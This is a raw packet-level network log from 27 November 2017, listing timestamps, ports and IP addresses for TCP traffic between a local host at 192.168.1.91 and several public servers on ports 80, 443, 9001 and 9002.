Nov 27, 2017 12:35:47.843723059 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843748093 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843759060 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843827009 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.843839884 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.844048023 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.844077110 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.847548008 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.847701073 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.847727060 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.847868919 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.847892046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.848084927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.848104000 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.848256111 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.848279953 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.848541021 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.848558903 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.850848913 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.851018906 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.851042986 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.868375063 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.868510008 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.868535042 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.875752926 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.875915051 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.875941992 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.884962082 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.884991884 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.885535002 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.885571003 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.886820078 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.886848927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.886943102 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.886960983 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.886970997 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.887012005 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.887038946 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.887671947 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.887703896 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896349907 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896383047 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896392107 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896496058 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.896523952 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896804094 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896823883 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.896945953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.896969080 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.899173021 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.899199963 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.899419069 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.899455070 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.903171062 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.903202057 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.903213024 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.903655052 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.903691053 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.904680967 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.904704094 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.904875994 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.904908895 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.905209064 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.905221939 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.905338049 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.905364037 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.907855988 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.907882929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.908066988 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:47.908098936 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:47.910834074 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.910862923 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.910870075 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.911283970 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.911300898 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.911309004 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.911504030 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:47.911540985 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:47.939922094 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.939944029 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.939949989 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.940155029 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.940186977 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941000938 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941015005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941055059 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941215038 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.941237926 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941768885 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.941781044 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.942008018 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.942028999 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.942281961 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.942292929 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.942331076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:47.942420959 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:47.942436934 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:48.066297054 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.066325903 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.066452026 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.066488028 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.113569021 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.113584042 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.113943100 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.113967896 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.117333889 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.117389917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.131861925 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.131876945 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.132297993 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.132328033 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.161489010 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.161715031 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.161753893 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.179205894 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.179677963 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.179714918 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.204729080 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.204749107 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.204826117 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.204850912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.211131096 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:48.211668015 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.211699009 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.211766958 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.211797953 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.238365889 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.238396883 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.238401890 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.238507986 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.238543034 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.264911890 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.264952898 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.265057087 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.265079975 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.292809010 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.292836905 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.292948961 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.292984009 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.299736023 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.299760103 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.299854994 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.299874067 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.316066980 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.316107035 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.316749096 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.316806078 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.330457926 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.330492020 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.330498934 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.330645084 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.330661058 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.346126080 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.346149921 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.346369982 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.346386909 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.348371029 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.348380089 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.348509073 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.348529100 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.365329981 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.365353107 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.365365982 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.365464926 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.365487099 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.372380972 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.372407913 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.372493029 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.372515917 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.507713079 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.507745028 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:48.571638107 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:48.599663973 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:48.599921942 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:48.710479021 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:48.773308992 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:49.231610060 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:49.231704950 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.096019030 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.096059084 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.096066952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.096072912 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.096174002 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.113996029 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:50.114660025 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.114679098 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115565062 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.115582943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115593910 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115618944 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115627050 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115633965 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115642071 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115648985 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115657091 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115664005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115777969 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.115794897 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115803957 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115808964 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115813971 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115818977 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115823984 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115828991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115833998 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115852118 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.115864992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116204023 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.116220951 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116226912 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116230965 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116240025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116245031 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116255999 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116264105 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116271019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116276026 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116281986 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116713047 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:50.116858959 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.116874933 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116883993 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116889000 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116894007 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116899014 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116904974 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116909027 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116914034 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116919041 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.116924047 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.117342949 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.117361069 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.117369890 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.117374897 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.117379904 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.117733002 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:50.155616999 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:50.156068087 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:50.156105042 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:50.435659885 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:50.632934093 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:51.007668972 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:51.007977009 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:51.759639025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:51.759995937 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.238583088 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:52.240010977 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.240293980 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:52.240969896 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:52.240997076 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:52.243710995 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:52.243730068 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:52.244666100 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:52.244683027 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:52.245285988 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.245311022 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245321035 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245819092 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.245841980 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245850086 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245862961 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245867014 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245888948 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245904922 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245909929 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.245919943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246066093 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.246088028 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246098042 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246104956 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246112108 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246119022 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246126890 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246196032 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246232986 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246242046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246267080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246279001 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246386051 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:52.246402025 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:52.246491909 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.246510983 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246521950 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246527910 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246534109 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246541023 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246546984 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246553898 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246560097 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246567011 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246575117 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.246582031 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247277021 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:52.247351885 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.247370005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247380018 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247392893 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247399092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247406006 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247411966 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247419119 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247426033 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247433901 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247437954 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247445107 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247474909 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.247889996 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:52.247908115 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:52.248004913 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.248023987 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.248456001 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.283613920 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:52.283715963 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:52.283732891 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:52.287621021 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.287715912 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.287736893 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.575625896 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:52.788676023 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:52.949503899 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:35:52.949534893 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:35:52.949765921 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:35:53.151623964 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:53.151730061 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:53.879617929 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:53.879765034 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.434360027 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:54.434405088 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:54.435343027 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.435381889 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:54.436024904 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.436053991 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:54.436156034 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.436326981 CET	49171	443	192.168.1.91	154.35.175.225
Nov 27, 2017 12:35:54.436345100 CET	443	49171	154.35.175.225	192.168.1.91
Nov 27, 2017 12:35:54.436887026 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:54.436906099 CET	80	49184	85.25.213.211	192.168.1.91
